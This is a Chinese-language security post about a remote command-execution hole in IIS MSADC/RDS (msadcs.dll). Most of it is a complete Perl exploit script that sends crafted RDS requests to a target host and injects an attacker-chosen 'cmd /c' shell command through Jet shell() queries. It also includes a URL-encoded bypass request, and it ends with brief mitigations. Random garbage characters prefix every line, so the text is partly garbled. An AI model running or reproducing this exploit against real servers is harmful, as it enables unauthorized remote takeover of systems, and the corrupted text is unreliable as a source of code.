IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Q}kfM^i ^Q0&.hL@ 涉及程序:
?Jt$a; Microsoft NT server
t5.`!3EO XrF3kz!44 描述:
$<B
+K 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
1O
|V=K |G(1[RNu 详细:
8-7dokg> 如果你没有时间读详细内容的话,就删除:
zv //K_ c:\Program Files\Common Files\System\Msadc\msadcs.dll
y
'Ol Q2U 有关的安全问题就没有了。
"EoDQT"0 3VmI0gsm.> 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
dY} pN" |6E
.M1 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
%*lp< D 关于利用ODBC远程漏洞的描述,请参看:
)QmGsU}? h#i\iK&A http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm C+w__gO&r g\Wj+el} 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
9UwLF`XM http://www.microsoft.com/security/bulletins/MS99-025faq.asp 8j%'9vPi <FY&h# 这里不再论述。
x(8n
9Q> >1 @Ltvm 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
?"6Ov ] ueDvMP /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
St@l]u9 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
e}A&V+ t<nFy c-kA^z{f #将下面这段保存为txt文件,然后: "perl -x 文件名"
GnFs63 B'-I{~'/ #!perl
Wta]BX #
~-TOsRvxR # MSADC/RDS 'usage' (aka exploit) script
8pXKO"u], #
1,,|MW # by rain.forest.puppy
9R
p2W #
Z%}4bJ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
B0d%c&N${ # beta test and find errors!
G@gh#[b jd 1jG2=f use Socket; use Getopt::Std;
x4m 5JDC getopts("e:vd:h:XR", \%args);
O:Va&Cyj* I"@p aLZ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
q"akrI38 ['cz;2{:W if (!defined $args{h} && !defined $args{R}) {
$&hN*7Ts print qq~
@o>EBZ7MS Usage: msadc.pl -h <host> { -d <delay> -X -v }
qI%&ay"/ -h <host> = host you want to scan (ip or domain)
V1B(|P -d <seconds> = delay between calls, default 1 second
u-JpI-8h -X = dump Index Server path table, if available
dAc ?O-~ -v = verbose
h >-'-Hx+ -e = external dictionary file for step 5
|;+qld[4z ]f8L:=c Or a -R will resume a command session
lCJ6Ur; oFCgu{\kt ~; exit;}
_X4!xbP b9~A-Z $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
3`*Kav>" if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
k$N0lR4:p if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
48O~Jx, if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
/c` ^iPb $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
1l5JP|x if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
d "E^SBO& 0*8TS7.3 if (!defined $args{R}){ $ret = &has_msadc;
4zjs!AK% die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
5G[x }4U xCXQ<77 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Ooc\1lX . "cmd /c ";
tIc 7:th $in=<STDIN>; chomp $in;
PT'MNH $command="cmd /c " . $in ;
>oGiIYq O^Q,-=tA\ if (defined $args{R}) {&load; exit;}
c6&Q^p|CF 0
Y>M=| print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
-fy9< &try_btcustmr;
B4h5[fPX >|g?wC}V; print "\nStep 2: Trying to make our own DSN...";
:z&7W< &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
8|@9{ 0|c}p([~ print "\nStep 3: Trying known DSNs...";
f>2MI4nMG &known_dsn;
wM~H(=s`D wi_'iv print "\nStep 4: Trying known .mdbs...";
SmhGZ &known_mdb;
I9?Ec6a_ \]uV!)V5B if (defined $args{e}){
V`kMCE;?l print "\nStep 5: Trying dictionary of DSN names...";
-]srp;=i &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
u0QzLi, :nA.j"@ print "Sorry Charley...maybe next time?\n";
6*45Vf exit;
= &tmP -C-yQ.>\T# ##############################################################################
)Ry<a$Q3 M f~}/h sub sendraw { # ripped and modded from whisker
7f3O sleep($delay); # it's a DoS on the server! At least on mine...
6gH{R$7L= my ($pstr)=@_;
cl@g socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kV;fD$iW; die("Socket problems\n");
7fHc[, if(connect(S,pack "SnA4x8",2,80,$target)){
-0Cnp/Yj@ select(S); $|=1;
~q+hV+fa> print $pstr; my @in=<S>;
Q >Qibr select(STDOUT); close(S);
"4o=,$E= return @in;
ea'&xs#GK } else { die("Can't connect...\n"); }}
H[
m<RaG8 M|,mr~rRG ##############################################################################
58 bCUh#uw 3djC;*,9, sub make_header { # make the HTTP request
xtfBfA my $msadc=<<EOT
mN|r)4{` POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
x/!5K|c User-Agent: ACTIVEDATA
gNYqAUG5 Host: $ip
UC
HZ2& Content-Length: $clen
3]RyTQ Connection: Keep-Alive
+Q$h ]^>~ Wp)*Mbq@ ADCClientVersion:01.06
TX=yPq Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
#]P9b@@e 83%)/_& --!ADM!ROX!YOUR!WORLD!
lf(`SYQnOY Content-Type: application/x-varg
_8,()t'" Content-Length: $reqlen
|`TgX@,#9 En{`@JsM EOT
1rKy@9 ; $msadc=~s/\n/\r\n/g;
M_g?<rK return $msadc;}
/D!;u] M{g%cR0 ##############################################################################
*/:uV
B,b2 >-8cU_m7s sub make_req { # make the RDS request
6;'dUGvH my ($switch, $p1, $p2)=@_;
d?wc*N3 my $req=""; my $t1, $t2, $query, $dsn;
.*g0w`H5pU b~=0[Rv if ($switch==1){ # this is the btcustmr.mdb query
t>=fTkB $query="Select * from Customers where City=" . make_shell();
&i+Ce $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
7x);x/#8Z $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
kF(n!2"W 7lV.[&aKW elsif ($switch==2){ # this is general make table query
%yBB?cp+_ $query="create table AZZ (B int, C varchar(10))";
,#M Cn $dsn="$p1";}
1W7%1FA Hso|e?Z elsif ($switch==3){ # this is general exploit table query
%`Z+a.~ U $query="select * from AZZ where C=" . make_shell();
S*o[ZA
$dsn="$p1";}
,XDRO./+T Gmwf4>" elsif ($switch==4){ # attempt to hork file info from index server
*g?Po+ef% $query="select path from scope()";
7X@mSXis $dsn="Provider=MSIDXS;";}
o1M$.* n3AaZp[ elsif ($switch==5){ # bad query
(aOv#Vor]% $query="select";
{9UEq0 $dsn="$p1";}
ry9T U >B]'fUt5a $t1= make_unicode($query);
x
}Ad_#q $t2= make_unicode($dsn);
q$I:`& $req = "\x02\x00\x03\x00";
hn#1%p6t $req.= "\x08\x00" . pack ("S1", length($t1));
q`-;AG|xF $req.= "\x00\x00" . $t1 ;
(x/k.& $req.= "\x08\x00" . pack ("S1", length($t2));
X 1
57$ $req.= "\x00\x00" . $t2 ;
okbQ<{9 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
DC{>TC[p1k return $req;}
,) J~ ,^f6 9IX/wm" ##############################################################################
;)N>t\v a~'a sub make_shell { # this makes the shell() statement
(=7Cs return "'|shell(\"$command\")|'";}
9$2/MT't 0a80 LAK ##############################################################################
th;{V%:LW *98$dQR$ sub make_unicode { # quick little function to convert to unicode
6I@h9uIsze my ($in)=@_; my $out;
0$,SF3K for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ZK>WW return $out;}
5[c^TJ3 feQ **wI ##############################################################################
g$b<1:8 H$y-8-&) sub rdo_success { # checks for RDO return success (this is kludge)
0`^&9nR my (@in) = @_; my $base=content_start(@in);
|JQQU!x if($in[$base]=~/multipart\/mixed/){
293M\5: return 1 if( $in[$base+10]=~/^\x09\x00/ );}
o!)3? return 0;}
#O+),,WS )c `7( nY ##############################################################################
7(pF[LCF I:mr}mv=i sub make_dsn { # this makes a DSN for us
C.FI~Z my @drives=("c","d","e","f");
."9];)2rx print "\nMaking DSN: ";
B)0i:"q foreach $drive (@drives) {
{{QELfH2 print "$drive: ";
O#F4WWF my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
@3zg=?3 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
!QvZ<5( . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
G K7![p $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
?#fu.YE\ return 0 if $2 eq "404"; # not found/doesn't exist
E{|W(z,
if($2 eq "200") {
Q)IKOt;N] foreach $line (@results) {
:Of^xj>A return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
YJ\Xj56gv } return 0;}
/Njd[=B g*_cPU0~m ##############################################################################
VIv&ofyAR <ZNzVnVA sub verify_exists {
RS8Hf~0G my ($page)=@_;
\SBc; my @results=sendraw("GET $page HTTP/1.0\n\n");
b:TLV`>/& return $results[0];}
!qWH`[: h2XfC.f ##############################################################################
7eAX*Kgt<_ ev*k*0
sub try_btcustmr {
K~R`%r_ my @drives=("c","d","e","f");
z*a:L} $ my @dirs=("winnt","winnt35","winnt351","win","windows");
(jAg_$6 <$IM8Y5p+w foreach $dir (@dirs) {
.=s&EEF print "$dir -> "; # fun status so you can see progress
EwvoQ$#jv foreach $drive (@drives) {
]?!mS[X print "$drive: "; # ditto
a ?)NC $reqlen=length( make_req(1,$drive,$dir) ) - 28;
AJF#Aw `o $reqlenlen=length( "$reqlen" );
2Eu`u!jhx $clen= 206 + $reqlenlen + $reqlen;
uC(V %-1O.Q|f my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Y2~nBb if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
gcl5jB5)> else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
@X#F3; zd >t-?g ##############################################################################
<nT
+$ R8a3
1& sub odbc_error {
.nx2";oi my (@in)=@_; my $base;
` 2V19s] my $base = content_start(@in);
oYm[V<nIl if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
nH[yJGZYSA $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pSdI/Vj'= $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H _zo1AW $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
D=-SO
+ return $in[$base+4].$in[$base+5].$in[$base+6];}
X:nN0p # print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
"W955?4m print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
W*),y: $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
<^5Z:n!q t*1fLumXR ##############################################################################
7`DBS^O]dG $#9;)8J sub verbose {
.uMn0PE my ($in)=@_;
o <pf#tifv return if !$verbose;
+ |n*b print STDOUT "\n$in\n";}
JR@`2YP- hG12ZZ D ##############################################################################
EVsC >rz PgF*
1 sub save {
Lh!J > my ($p1, $p2, $p3, $p4)=@_;
YUtC.TR1 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
RC7]'4o print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
4NheWM6 close OUT;}
UCB/=k^m Qp_isU ##############################################################################
Bg x'9p/ \Je0CD=e` sub load {
3q\,$*D. my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
KBx6NU?;PO open(IN,"<rds.save") || die("Couldn't open rds.save\n");
^:^9l1] @p=<IN>; close(IN);
eg;~zv $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Z`ID+ $target= inet_aton($ip) || die("inet_aton problems");
5B3G
@KR print "Resuming to $ip ...";
o ,AAC $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
aBNc(?ri if($p[1]==1) {
dx MOn $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
jCOIuw $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
)rn*iJ.e8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
OEA&~4&{7 if (rdo_success(@results)){print "Success!\n";}
'vbsv T else { print "failed\n"; verbose(odbc_error(@results));}}
}ppN k:B elsif ($p[1]==3){
<Tzrj1"Q3 if(run_query("$p[3]")){
D9^h;
8 print "Success!\n";} else { print "failed\n"; }}
n|Q@UPb/= elsif ($p[1]==4){
cUKE if(run_query($drvst . "$p[3]")){
Hq:X{)" print "Success!\n"; } else { print "failed\n"; }}
qr"3y exit;}
x[~b2o Lt?lv2k=L ##############################################################################
Y']\Jq{OS E7j(QOf sub create_table {
SJb&m- my ($in)=@_;
. qO@Q = $reqlen=length( make_req(2,$in,"") ) - 28;
2_HNhW
$reqlenlen=length( "$reqlen" );
qkDI](4 $clen= 206 + $reqlenlen + $reqlen;
^c"jH'#.L my @results=sendraw(make_header() . make_req(2,$in,""));
'3/4?wi return 1 if rdo_success(@results);
vdivq^%=a my $temp= odbc_error(@results); verbose($temp);
{6|38$Rl return 1 if $temp=~/Table 'AZZ' already exists/;
H1|?t+oP return 0;}
46_xyz3+ `2("gUCm ##############################################################################
=_JjmTy;a #+ 0M2Sa sub known_dsn {
LM~[@_j # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
|W,&
Hl7 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
} gyj0 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
z+0I#kM"1 "banner", "banners", "ads", "ADCDemo", "ADCTest");
3]}D`Qs6 %?0:vn foreach $dSn (@dsns) {
FH?U(- print ".";
at#ja_ hd next if (!is_access("DSN=$dSn"));
?~BC#B\>o if(create_table("DSN=$dSn")){
Gw/Pk4R print "$dSn successful\n";
I0D(F
i if(run_query("DSN=$dSn")){
eI$oLl@ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
_mqL8ho print "Something's borked. Use verbose next time\n";}}} print "\n";}
2VmNZ{< LO9=xGj. ##############################################################################
JU1~e@/'% Z]>O+ sub is_access {
|mxDjgq my ($in)=@_;
!JHL\M>A5 $reqlen=length( make_req(5,$in,"") ) - 28;
XKj|f` $reqlenlen=length( "$reqlen" );
]#)()6)2v $clen= 206 + $reqlenlen + $reqlen;
?PuBa`zDE my @results=sendraw(make_header() . make_req(5,$in,""));
! ` my $temp= odbc_error(@results);
]
{RDV A=] verbose($temp); return 1 if ($temp=~/Microsoft Access/);
;w{tv($$ return 0;}
q6McG HT oR)Jznmi} ##############################################################################
@Q)OGjaq @'#,D!U sub run_query {
\FQRNj?'_ my ($in)=@_;
PS)4 I&;U $reqlen=length( make_req(3,$in,"") ) - 28;
2V-
16Q'% $reqlenlen=length( "$reqlen" );
Z3"%`*Tmq- $clen= 206 + $reqlenlen + $reqlen;
k^3>Y%^1 my @results=sendraw(make_header() . make_req(3,$in,""));
EU2$f return 1 if rdo_success(@results);
D=q:*x my $temp= odbc_error(@results); verbose($temp);
l:
HTk4$0 return 0;}
-u6bAQ $O&b`` ##############################################################################
9&-dTayIz Sq>dt[7 sub known_mdb {
cvn@/qBq*t my @drives=("c","d","e","f","g");
"%`1]Fr my @dirs=("winnt","winnt35","winnt351","win","windows");
dU&a{$ku[ my $dir, $drive, $mdb;
N]>=p.#j my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
zGb|) A~, F+YZE[h% # this is sparse, because I don't know of many
e(]!GA my @sysmdbs=( "\\catroot\\icatalog.mdb",
ePOG}k($/% "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
],@rS9K "\\system32\\certmdb.mdb",
C)[,4wt, "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
@E&J_un NW~N}5T my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
so,t "\\cfusion\\cfapps\\forums\\forums_.mdb",
NO*u9YH? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
@6Y?\Wx$w "\\cfusion\\cfapps\\security\\realm_.mdb",
v [wb~uw\ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
:}He\V "\\cfusion\\database\\cfexamples.mdb",
9P1OP Xv*p "\\cfusion\\database\\cfsnippets.mdb",
(!ux+K "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
)tC5Hijq, "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
8}I$'x "\\cfusion\\brighttiger\\database\\cleam.mdb",
~Otq %MQ "\\cfusion\\database\\smpolicy.mdb",
#{\J
Nb+w% "\\cfusion\\database\cypress.mdb",
FvaUsOy" "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
[>jbhV' "\\website\\cgi-win\\dbsample.mdb",
R6` WN "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
iOd&BB6 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
<wk!hTmW ); #these are just
qmkAg }2 foreach $drive (@drives) {
HZ aV7dOZ8 foreach $dir (@dirs){
1T"`vtR foreach $mdb (@sysmdbs) {
F|'>NL-= print ".";
&p'Y^zL- if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
hr#M-K print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
4`4kfiS$ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Tm~" IB* print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
\o z#l'z } else { print "Something's borked. Use verbose next time\n"; }}}}}
-R|,9o^ 6hno)kd{= foreach $drive (@drives) {
H`*LBqDk foreach $mdb (@mdbs) {
EEEh~6?-e print ".";
=2`[& if(create_table($drv . $drive . $dir . $mdb)){
Kr?TxhUHd print "\n" . $drive . $dir . $mdb . " successful\n";
5#HW2"7 if(run_query($drv . $drive . $dir . $mdb)){
iowTLq!? print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
Gj1&tjK } else { print "Something's borked. Use verbose next time\n"; }}}}
C'>|J9~Gz }
!S$:*5=& 8v:T.o;< ##############################################################################
%"q9:{m ~8PZ5;g sub hork_idx {
1$xNUsD2 print "\nAttempting to dump Index Server tables...\n";
M92dZ1+6 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
tZ]?^_Y1 $reqlen=length( make_req(4,"","") ) - 28;
/
kF) $reqlenlen=length( "$reqlen" );
8V~k5#&Ow $clen= 206 + $reqlenlen + $reqlen;
P@,XEQRd` my @results=sendraw2(make_header() . make_req(4,"",""));
,kyJAju> if (rdo_success(@results)){
$jjfC my $max=@results; my $c; my %d;
p\ Q5,eg for($c=19; $c<$max; $c++){
W/=.@JjI $results[$c]=~s/\x00//g;
G4Q[Th $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
&agWaf1%a $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
`
)/vq-9 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
pd:WEI
, $d{"$1$2"}="";}
ncZ+gzK|" foreach $c (keys %d){ print "$c\n"; }
3OrczJ=[UF } else {print "Index server doesn't seem to be installed.\n"; }}
F8nYV >"??!|XG^ ##############################################################################
e6`Jbu+J<f jte.Xy~g sub dsn_dict {
0.\/\V:H6 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
NG=@ -eu while(<IN>){
Df}A^G >X $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
*^\Ef4Lh next if (!is_access("DSN=$dSn"));
-z
ID x if(create_table("DSN=$dSn")){
A`N, print "$dSn successful\n";
TEP,Dq if(run_query("DSN=$dSn")){
TtJH7 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9)h"-H;5: print "Something's borked. Use verbose next time\n";}}}
Fe# 1 print "\n"; close(IN);}
9>=;FY 9"N~yKa`"K ##############################################################################
B~'vCuE Q3XpHnufu+ sub sendraw2 { # ripped and modded from whisker
1rNzJ;' sleep($delay); # it's a DoS on the server! At least on mine...
=T3<gGM my ($pstr)=@_;
kI,yU}<Fq socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
g!FuY/%+ die("Socket problems\n");
[T|aw1SoN if(connect(S,pack "SnA4x8",2,80,$target)){
t=BUN print "Connected. Getting data";
N+9VYH"* open(OUT,">raw.out"); my @in;
)~GmU9f select(S); $|=1; print $pstr;
E:,/!9n while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
sv2A-Dld close(OUT); select(STDOUT); close(S); return @in;
9Uh"iMB } else { die("Can't connect...\n"); }}
kVuUjP6(c fJ=0HNmX ##############################################################################
sSr&:BOsi $|zX| sub content_start { # this will take in the server headers
d8DV[{^ my (@in)=@_; my $c;
f- K+]aZ) for ($c=1;$c<500;$c++) {
@#l `iK if($in[$c] =~/^\x0d\x0a/){
w_ akn t T if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
0 3L] else { return $c+1; }}}
%p Ynnfr return -1;} # it should never get here actually
R a O-H MOQ6: ##############################################################################
|-b#9JQ[A 4`lLf sub funky {
[xbSYu,& my (@in)=@_; my $error=odbc_error(@in);
{yBs7[Wn if($error=~/ADO could not find the specified provider/){
1m'k|Ka print "\nServer returned an ADO miscofiguration message\nAborting.\n";
,[N%Q# exit;}
kC:uG0sW if($error=~/A Handler is required/){
nB_?ckj, print "\nServer has custom handler filters (they most likely are patched)\n";
C>]0YO
k2 exit;}
xI{)6t$` if($error=~/specified Handler has denied Access/){
g!|=%(G= print "\nServer has custom handler filters (they most likely are patched)\n";
k
9_`(nx exit;}}
kPKB|kP\ ! :Y:pu0 ##############################################################################
*Hg>[@dP0 vRznw&^E sub has_msadc {
q?H|o( my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Ve8=b0&Y#j my $base=content_start(@results);
&r[`>B{tP return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
<S5BDk return 0;}
UgRhWV~f0
|{&{ ########################
d}OTO10 gLb`pCo/ 2ElJbN# 解决方案:
~b(i&DVK 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
@tF\p
2、移除web 目录: /msadc